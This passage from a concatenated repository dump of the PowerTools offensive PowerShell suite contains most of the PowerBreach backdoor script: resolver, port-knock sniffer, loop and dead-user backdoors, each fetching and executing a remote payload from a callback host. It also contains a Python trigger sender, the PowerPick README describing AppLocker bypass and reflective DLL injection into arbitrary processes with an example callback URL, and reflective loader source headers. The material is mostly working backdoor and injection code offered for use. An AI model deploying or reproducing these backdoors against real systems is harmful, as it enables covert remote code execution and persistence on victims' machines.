if($match) 407 | { 408 | #Stop the socket and check for match 409 | Write-Verbose "Stopping Socket" 410 | $Listener.Stop() 411 | } 412 | while($match) 413 | { 414 | if($CallbackURI) 415 | { 416 | $success = Invoke-CallbackIEX $CallbackURI 417 | } 418 | else 419 | { 420 | $success = Invoke-CallbackIEX "http://$Match" 421 | } 422 | 423 | if ($success) 424 | { 425 | return 1 426 | } 427 | Start-Sleep -s $sleep 428 | } 429 | } 430 | 431 | } 432 | catch [System.Net.Sockets.SocketException] { 433 | Write-Error "Error: Socket Error" 434 | } 435 | } 436 | 437 | function Invoke-ResolverBackdoor 438 | { 439 | <# 440 | .SYNOPSIS 441 | Starts the Resolver Backdoor 442 | .DESCRIPTION 443 | This backdoor resolves a predefined hostname at a preset interval. If the resolved address is different than the specified trigger, than it initiates a callback. 444 | Admin Reqd? No 445 | Firewall Hole Reqd? No 446 | .PARAMETER CallbackURI 447 | The IP Address of the host to callback to. By default, this backdoor calls back to the newly resolved IP Address. 448 | .PARAMETER Hostname 449 | The hostname to routinely check for a trigger 450 | .PARAMETER Trigger 451 | The IP Address that the backdoor is looking for. Default="127.0.0.1" 452 | .PARAMETER Timeout 453 | The time to run the backdoor (in seconds). Default=0 (run forever) 454 | .PARAMETER Sleep 455 | The seconds to sleep between DNS resolution (in seconds). Default=30 456 | #> 457 | param( 458 | [Parameter(Mandatory=$False,Position=1)] 459 | [string]$CallbackURI, 460 | [Parameter(Mandatory=$False,Position=2)] 461 | [string]$Hostname, 462 | [Parameter(Mandatory=$False,Position=3)] 463 | [string]$Trigger="127.0.0.1", 464 | [Parameter(Mandatory=$False,Position=4)] 465 | [int] $Timeout=0, 466 | [Parameter(Mandatory=$False,Position=5)] 467 | [int] $Sleep=30 468 | ) 469 | 470 | #output info 471 | Write-Verbose "Timeout: $Timeout" 472 | Write-Verbose "Sleep Time: $Sleep" 473 | Write-Verbose "Trigger: $Trigger" 474 | Write-Verbose "Using Hostname: $Hostname" 475 | Write-Verbose "CallbackURI: $CallbackURI" 476 | Write-Verbose "Starting backdoor..." 477 | 478 | #set loop variables 479 | $running=$True 480 | $match ="" 481 | $starttime = Get-Date 482 | while($running) 483 | { 484 | #check timeout 485 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 486 | { 487 | $running=$False 488 | } 489 | 490 | try { 491 | #try to resolve hostname 492 | $ips = [System.Net.Dns]::GetHostAddresses($Hostname) 493 | foreach ($addr in $ips) 494 | { 495 | #take all of the IPs returned and check to see if they have changed from our "trigger 496 | #If they do not match the trigger, use it for C2 address 497 | $resolved=$addr.IPAddressToString 498 | if($resolved -ne $Trigger) 499 | { 500 | $running=$False 501 | $match=$resolved 502 | Write-Verbose "Match: $match" 503 | } 504 | 505 | } 506 | } 507 | catch [System.Net.Sockets.SocketException]{ 508 | 509 | } 510 | while($match) 511 | { 512 | if($CallbackURI) 513 | { 514 | $success = Invoke-CallbackIEX $CallbackURI 515 | } 516 | else 517 | { 518 | $success = Invoke-CallbackIEX "http://$Match" 519 | } 520 | if ($success) 521 | { 522 | return 523 | } 524 | Start-Sleep -s $sleep 525 | 526 | } 527 | Start-Sleep -s $Sleep 528 | } 529 | 530 | } 531 | 532 | function Invoke-PortKnockBackdoor 533 | { 534 | <# 535 | .SYNOPSIS 536 | Starts the Packet Knock backdoor 537 | .DESCRIPTION 538 | The backdoor sniffs packets destined for a certain interface. In each packet, a trigger value is looked for. The the trigger value is found, the backdoor initiates a callback. This backdoor utilizes a promiscuous socket and should not open up a port on the system. 539 | Admin Reqd? Yes 540 | Firewall Hole Reqd? Yes 541 | .PARAMETER CallbackURI 542 | The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it. 543 | .PARAMETER LocalIP 544 | The interface to bind the TCP port to. By default, the script will use the default GW to determine this value. 545 | .PARAMETER Trigger 546 | The unique value the backdoor is waiting for. Default="QAZWSX123" 547 | .PARAMETER Timeout 548 | The time to run the backdoor. Default=0 (run forever) 549 | .PARAMETER Sleep 550 | The time to sleep in between event log checks. 551 | .PARAMETER AddFWRules 552 | Whether or not to add the firewall rules automatically. 553 | #> 554 | param( 555 | [Parameter(Mandatory=$False,Position=1)] 556 | [string]$CallbackURI, 557 | [Parameter(Mandatory=$False,Position=2)] 558 | [string]$LocalIP, 559 | [Parameter(Mandatory=$False,Position=3)] 560 | [string]$Trigger="QAZWSX123", 561 | [Parameter(Mandatory=$False,Position=4)] 562 | [int]$Timeout=0, 563 | [Parameter(Mandatory=$False,Position=5)] 564 | [int] $Sleep=30, 565 | [Parameter(Mandatory=$False,Position=6)] 566 | [switch] $AddFWRules=$False 567 | ) 568 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 569 | { 570 | Write-Error "This backdoor requires Admin :(... get to work! " 571 | Return 0 572 | } 573 | 574 | if ($AddFWRules) 575 | { 576 | Write-Verbose "Adding FW Exception" 577 | $FWSuccess = Add-PSFirewallRules 578 | if($FWSuccess) 579 | { 580 | Write-Verbose "FW Exception Added" 581 | } 582 | else 583 | { 584 | Write-Verbose "FW Exception Failed... Quitting" 585 | Return 0 586 | } 587 | } 588 | else 589 | { 590 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 591 | } 592 | 593 | # try to figure out which IP address to bind to by looking at the default route 594 | if (-not $LocalIP) 595 | { 596 | route print 0* | % { 597 | if ($_ -match "\s{2,}0\.0\.0\.0") { 598 | $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",") 599 | } 600 | } 601 | } 602 | 603 | #output info 604 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 605 | Write-Verbose "Timeout: $Timeout" 606 | Write-Verbose "Trigger: $Trigger" 607 | Write-Verbose "Using IPv4 Address: $LocalIP" 608 | Write-Verbose "CallbackURI: $CallbackURI" 609 | Write-Verbose "Starting backdoor..." 610 | 611 | #define bytes for socket setup 612 | $byteIn = New-Object byte[] 4 613 | $byteOut = New-Object byte[] 4 614 | $byteData = New-Object byte[] 4096 # size of data 615 | 616 | $byteIn[0] = 1 # this enables promiscuous mode (ReceiveAll) 617 | $byteIn[1-3] = 0 618 | $byteOut[0-3] = 0 619 | 620 | #Open a raw socket and set to promiscuous mode. Include the IP Header 621 | $socket = New-Object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) 622 | $socket.setsocketoption("IP","HeaderIncluded",$True) 623 | $socket.ReceiveBufferSize = 819200 624 | 625 | #set the local socket info and bind it 626 | $ipendpoint = New-Object system.net.ipendpoint([net.ipaddress]"$localIP",0) 627 | $socket.bind($ipendpoint) 628 | 629 | #turn on promiscuous 630 | [void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut) 631 | 632 | #set loop data 633 | $starttime = Get-Date 634 | $running = $True 635 | $match = "" 636 | $packets = @() 637 | while ($running) 638 | { 639 | #check timeout 640 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 641 | { 642 | $running=$False 643 | } 644 | #check for queued up packets 645 | if (-not $socket.Available) 646 | { 647 | Start-Sleep -milliseconds 500 648 | continue 649 | } 650 | 651 | #Take any date off the socket 652 | $rcv = $socket.receive($byteData,0,$byteData.length,[net.sockets.socketflags]::None) 653 | 654 | # Created streams and readers 655 | $MemoryStream = New-Object System.IO.MemoryStream($byteData,0,$rcv) 656 | $BinaryReader = New-Object System.IO.BinaryReader($MemoryStream) 657 | 658 | # Trash all the header bytes we dont care about. RFC 791 659 | $trash = $BinaryReader.ReadBytes(12) 660 | 661 | #Read the SRC and DST IP 662 | $SourceIPAddress = $BinaryReader.ReadUInt32() 663 | $SourceIPAddress = [System.Net.IPAddress]$SourceIPAddress 664 | $DestinationIPAddress = $BinaryReader.ReadUInt32() 665 | $DestinationIPAddress = [System.Net.IPAddress]$DestinationIPAddress 666 | $RemainderBytes = $BinaryReader.ReadBytes($MemoryStream.Length) 667 | 668 | #Convert the remainder of the packet into ASCII 669 | $AsciiEncoding = New-Object system.text.asciiencoding 670 | $RemainderOfPacket = $AsciiEncoding.GetString($RemainderBytes) 671 | 672 | #clean up clean up 673 | $BinaryReader.Close() 674 | $memorystream.Close() 675 | 676 | #check rest of packet for trigger value 677 | if ($RemainderOfPacket -match $Trigger) 678 | { 679 | Write-Verbose "Match: $SourceIPAddress" 680 | $running=$False 681 | $match = $SourceIPAddress 682 | } 683 | } 684 | 685 | while($match) 686 | { 687 | if($CallbackURI) 688 | { 689 | $success = Invoke-CallbackIEX $CallbackURI 690 | } 691 | else 692 | { 693 | $success = Invoke-CallbackIEX $Match 694 | } 695 | if ($success) 696 | { 697 | return 1 698 | } 699 | Start-Sleep -s $sleep 700 | 701 | } 702 | 703 | } 704 | 705 | function Invoke-LoopBackdoor 706 | { 707 | <# 708 | .SYNOPSIS 709 | Starts the Callback loop backdoor 710 | .DESCRIPTION 711 | The backdoor initiates a callback on a routine interval. If successful in executing a script, the backdoor will exit. 712 | Admin Reqd? No 713 | Firewall Hole Reqd? No 714 | .PARAMETER CallbackURI 715 | The IP Address of the host to callback to. 716 | .PARAMETER Timeout 717 | The time to run the backdoor. Default=0 (run forever) 718 | .PARAMETER Sleep 719 | The seconds to sleep between callback. Default=1. 720 | #> 721 | Param( 722 | [Parameter(Mandatory=$True,Position=1)] 723 | [string]$CallbackURI, 724 | [Parameter(Mandatory=$False,Position=2)] 725 | [int]$Timeout=0, 726 | [Parameter(Mandatory=$False,Position=3)] 727 | [int] $Sleep=30 728 | ) 729 | 730 | #Output info 731 | Write-Verbose "Timeout: $Timeout" 732 | Write-Verbose "Sleep: $Sleep" 733 | Write-Verbose "CallbackURI: $CallbackURI" 734 | Write-Verbose 735 | Write-Verbose "Starting backdoor..." 736 | 737 | #initiate loop variables 738 | $running=$True 739 | $match ="" 740 | $starttime = Get-Date 741 | while($running) 742 | { 743 | #check timeout value 744 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 745 | { 746 | $running=$False 747 | } 748 | 749 | $success = Invoke-CallbackIEX $CallbackURI 750 | 751 | if($success) 752 | { 753 | return 754 | } 755 | 756 | Start-Sleep -s $Sleep 757 | } 758 | 759 | } 760 | 761 | function Invoke-DeadUserBackdoor 762 | { 763 | <# 764 | .SYNOPSIS 765 | Backup backdoor for a backdoor user 766 | .DESCRIPTION 767 | The backdoor inspects the local system or domain for the presence of a user and calls back if it is not found 768 | Admin Reqd? No 769 | Firewall Hole Reqd? No 770 | .PARAMETER CallbackURI 771 | The IP Address of the host to callback to. 772 | .PARAMETER Timeout 773 | The time to run the backdoor. Default=0 (run forever) 774 | .PARAMETER Sleep 775 | The seconds to sleep between callback. Default=1. 776 | .PARAMETER Username 777 | The user to look for 778 | .PARAMETER Domain 779 | The domain to inspect. By default looks at local system 780 | #> 781 | Param( 782 | [Parameter(Mandatory=$True,Position=1)] 783 | [string]$CallbackURI, 784 | [Parameter(Mandatory=$False,Position=2)] 785 | [int]$Timeout=0, 786 | [Parameter(Mandatory=$False,Position=3)] 787 | [int] $Sleep=30, 788 | [Parameter(Mandatory=$True,Position=4)] 789 | [string] $Username, 790 | [Parameter(Mandatory=$False,Position=5)] 791 | [switch] $Domain 792 | ) 793 | 794 | #Output info 795 | Write-Verbose "Timeout: $Timeout" 796 | Write-Verbose "Sleep: $Sleep" 797 | Write-Verbose "CallbackURI: $CallbackURI" 798 | Write-Verbose "Username: $Username" 799 | Write-Verbose "Domain: $Domain" 800 | Write-Verbose "Starting backdoor..." 801 | 802 | #initiate loop variables 803 | $running=$True 804 | $match ="" 805 | $starttime = Get-Date 806 | while($running) 807 | { 808 | #check timeout value 809 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 810 | { 811 | $running=$False 812 | } 813 | 814 | #Check for the user... 815 | if($Domain) 816 | { 817 | $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" 818 | $UserSearcher.PageSize = 1000 819 | $count = @($UserSearcher.FindAll()).Count 820 | if($count -eq 0) 821 | { 822 | Write-Verbose "Domain user $Username not found!" 823 | $match=$True 824 | } 825 | } 826 | else 827 | { 828 | $comp = $env:computername 829 | [ADSI]$server="WinNT://$comp" 830 | $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.name -eq $Username} 831 | if(-not $usercheck) 832 | { 833 | Write-Verbose "Local user $Username not found!" 834 | $match=$True 835 | } 836 | } 837 | 838 | #if there is no user found, a match will trip 839 | while($match) 840 | { 841 | $success = Invoke-CallbackIEX $CallbackURI 842 | 843 | if ($success) 844 | { 845 | return 846 | } 847 | Start-Sleep -s $sleep 848 | } 849 | Start-Sleep -s $Sleep 850 | } 851 | } 852 | -------------------------------------------------------------------------------- /PowerBreach/README.md: -------------------------------------------------------------------------------- 1 | # PowerBreach 2 | PowerBreach is a backdoor toolkit that aims to provide the user a wide variety of methods to backdoor a system. It focuses on diversifying the "trigger" methods which allows the user flexibility on how to signal to the backdoor that it needs to phone home. PowerBreach focuses on memory only methods that do not persist across a reboot without further assistance and is not a silver bullet when it comes to cover communications. 3 | 4 | Developed by [@sixdub](https://twitter.com/sixdub) 5 | 6 | The following people helped or aided the work directly or indirectly: 7 | 8 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 9 | 10 | 11 | ## Helper Functions: 12 | Add-PSFirewallRules - Adds powershell to the firewall on 65K ports. Required Admin 13 | Invoke-CallbackIEX - The location for the various callback mechanisms. Calls back and executes encoded payload. 14 | 15 | ## Backdoors Available: 16 | Invoke-EventLogBackdoor: Monitors for failed RDP login attempts. Admin-Yes, Firewall-No, Auditing Reqd 17 | Invoke-PortBindBackdoor: Binds to TCP Port. Admin-No, Firewall-Yes 18 | Invoke-ResolverBackdoor: Resolves name to decide when to callback. Admin-No, Firewall-No 19 | Invoke-PortKnockBackdoor: Starts sniffer looking for trigger. Admin-Yes, Firewall-Yes 20 | Invoke-LoopBackdoor: Callsback on set interval. Admin-No, Firewall-No 21 | Invoke-DeadUserBackdoor: Looks for "dead" user and calls back when does not exist. Admin-No, Firewall-No 22 | 23 | ## Callback URIs Available: 24 | http:// - Perform standard http callback 25 | https:// - Perform standard https callback 26 | dnstxt:// - Resolve DNS text record for host which is the payload 27 | -------------------------------------------------------------------------------- /PowerBreach/changelog: -------------------------------------------------------------------------------- 1 | [2/2/2015] - sixdub - Initial commit of changelog. Added "dnstxt" callback function to allow dns txt records for paylods. Removed BITs method. Implemented URI parsing to decide callback method. Implemented recognition of failed callbacks and indefinite reattempts. -------------------------------------------------------------------------------- /PowerBreach/sendtrigger.py: -------------------------------------------------------------------------------- 1 | 2 | #This is a simple script that allows an operator to send a TCP or UDP packet at a system with a specified DATA portion. It is used in Veil PowerTools to trigger the PowerBreach backdoors that require a network trigger. 3 | import argparse 4 | import socket 5 | import time 6 | 7 | parser = argparse.ArgumentParser(description="Trigger your backdoors") 8 | parser.add_argument("target", help="The target you want to trigger") 9 | parser.add_argument("-m", "--method", type=int, choices=[0,1,2], default=0, help="Select method of trigger: 1(UDP), 2(TCP Bind)") 10 | parser.add_argument("-p", "--port", type=int, default=4444, help="Port number to trigger on") 11 | parser.set_defaults(noserver=False) 12 | args = parser.parse_args() 13 | 14 | targ = args.target 15 | port = args.port 16 | taskfile = args.task 17 | method = args.method 18 | 19 | #start up webserver 20 | if not args.noserver: 21 | thread.start_new_thread(task_listen,()) 22 | time.sleep(2) 23 | 24 | if method ==0: 25 | #Connect via UDP 26 | print "[*] Sending UDP Trigger to %s on port %s..." % (targ, str(port)) 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | sock.sendto("QAZWSX123", (targ, port)) 29 | print "[*] Trigger Sent" 30 | elif method==1: 31 | print "[*] Sending TCP Bind Trigger to %s on port %s..." % (targ, str(port)) 32 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | sock.connect((targ,port)) 34 | sock.send("QAZWSX123") 35 | sock.close() 36 | print "[*] Trigger Sent" 37 | else: 38 | print "[!] ERROR... Wrong Method" 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /PowerPick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PSInjector/CurrentDLLs/.DS_Store -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll.enc -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll.enc -------------------------------------------------------------------------------- /PowerPick/PSInjector/DLLEnc.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DllEncode 2 | { 3 | Param( 4 | [Parameter(Position = 0)] 5 | [String] 6 | $InputPath, 7 | [Parameter(Position = 1)] 8 | [String] 9 | $OutputPath=$InputPath+".enc" 10 | ) 11 | $Content = Get-Content -Path $InputPath -Encoding Byte 12 | $Base64 = [System.Convert]::ToBase64String($Content) 13 | $Base64 | Out-File $OutputPath 14 | } -------------------------------------------------------------------------------- /PowerPick/PowerPick.sdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/PowerPick.sdf -------------------------------------------------------------------------------- /PowerPick/PowerPick.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPick", "SharpPick\SharpPick.csproj", "{5ED2F78E-8538-4C87-BCED-E19E9DAD879C}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectivePick", "ReflectivePick\ReflectivePick.vcxproj", "{7C3D26E5-0A61-479A-AFAC-D34F2659F301}" 7 | EndProject 8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{F192DE99-118D-4E1D-8469-7F710C7F6CDC}" 9 | ProjectSection(SolutionItems) = preProject 10 | README.md = README.md 11 | EndProjectSection 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|Mixed Platforms = Debug|Mixed Platforms 16 | Debug|x64 = Debug|x64 17 | Debug|x86 = Debug|x86 18 | Release|Mixed Platforms = Release|Mixed Platforms 19 | Release|x64 = Release|x64 20 | Release|x86 = Release|x86 21 | EndGlobalSection 22 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 23 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 24 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|Mixed Platforms.Build.0 = Debug|x86 25 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x64.ActiveCfg = Debug|x64 26 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x64.Build.0 = Debug|x64 27 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x86.ActiveCfg = Debug|x86 28 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x86.Build.0 = Debug|x86 29 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|Mixed Platforms.ActiveCfg = Release|x86 30 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|Mixed Platforms.Build.0 = Release|x86 31 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x64.ActiveCfg = Release|x64 32 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x64.Build.0 = Release|x64 33 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x86.ActiveCfg = Release|x86 34 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x86.Build.0 = Release|x86 35 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 36 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|Mixed Platforms.Build.0 = Debug|Win32 37 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x64.ActiveCfg = Debug|x64 38 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x64.Build.0 = Debug|x64 39 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x86.ActiveCfg = Debug|Win32 40 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x86.Build.0 = Debug|Win32 41 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|Mixed Platforms.ActiveCfg = Release|Win32 42 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|Mixed Platforms.Build.0 = Release|Win32 43 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x64.ActiveCfg = Release|x64 44 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x64.Build.0 = Release|x64 45 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x86.ActiveCfg = Release|Win32 46 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x86.Build.0 = Release|Win32 47 | EndGlobalSection 48 | GlobalSection(SolutionProperties) = preSolution 49 | HideSolutionNode = FALSE 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /PowerPick/README.md: -------------------------------------------------------------------------------- 1 | This project focuses on allowing the execution of Powershell functionality without the use of Powershell.exe. Primarily this project uses.NET assemblies/libraries to start execution of the Powershell scripts. 2 | 3 | Many thanks to those in the offensive powershell community. This work is not ground breaking but hopefully will motivate offense and defense to understand the implications and lack of protections available. 4 | 5 | Of special note, many thanks to the following for their help/work in this project indirectly by being so awesome and coming up with awesome work: 6 | Matt Graeber (@mattifestation) 7 | Joe Bialek (@JosephBialek) 8 | Lee Christensen (@tifkin_) 9 | Will Schroeder (@harmj0y) 10 | Stark 11 | 12 | ## PSInject.ps1 13 | This project provides a powershell scipt (psinject.ps1) which implements the Invoke-PSInject function. This script is based off Powersploit's Invoke-ReflectivePEInjection and reflectively injects the ReflectivePick DLL. It allows for the replacement of the callback URL that is hard coded into the DLL. See this script for more details. 14 | 15 | The script that it calls back for must be base64 encoded. To do this, you can simply use the built in linux utility 'base64'. 16 | 17 | #### Example: 18 | import-module psinject.ps1 19 | Invoke-PSInject -Verbose -ProcID 0000 -CBURL http://1.1.1.1/favicon.ico 20 | 21 | ## ReflectivePick 22 | This project is a reflective DLL based on Stephen Fewer's method. It imports/runs a .NET assembly into its memory space that supports the running of Powershell code using System.Management.Automation. Due to its' reflective property, it can be injected into any process using a reflective injector and allows the execution of Powershell code by any process, not just Powershell.exe. It extends inject/migrate capabilities into powershell. 23 | 24 | This DLL is meant to be used with PSInject.ps1 which provide the ability to modify the hardcoded callback URL or with Metasploit after compiling or patching the URL manually. 25 | 26 | ## SharpPick 27 | This project is a .NET executable which allows execution of Powershell code through a number of methods. The script can be embedded as a resource, read from a url, appeneded to the binary, or read from a file. It was originally used as a proof of concept to demonstrate/test the blocking of powershell and bypass of applocker. 28 | 29 | #### Man Page 30 | sharppick.exe [ ] 31 | flags: 32 | -f : Read script from specified file 33 | -r : Read script from specified resource 34 | -d : Read script from URL 35 | -a : Read script appended to current binary after specified delimeter. Delimeter should be very very unique string 36 | 37 | More SharpPick details [here](http://sixdub.net/2014/12/inexorable-powershell-a-red-teamers-tale-of-overcoming-simple-applocker-policies/) 38 | 39 | Developed by [@sixdub](https://twitter.com/sixdub) 40 | 41 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 42 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/ReflectivePick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // 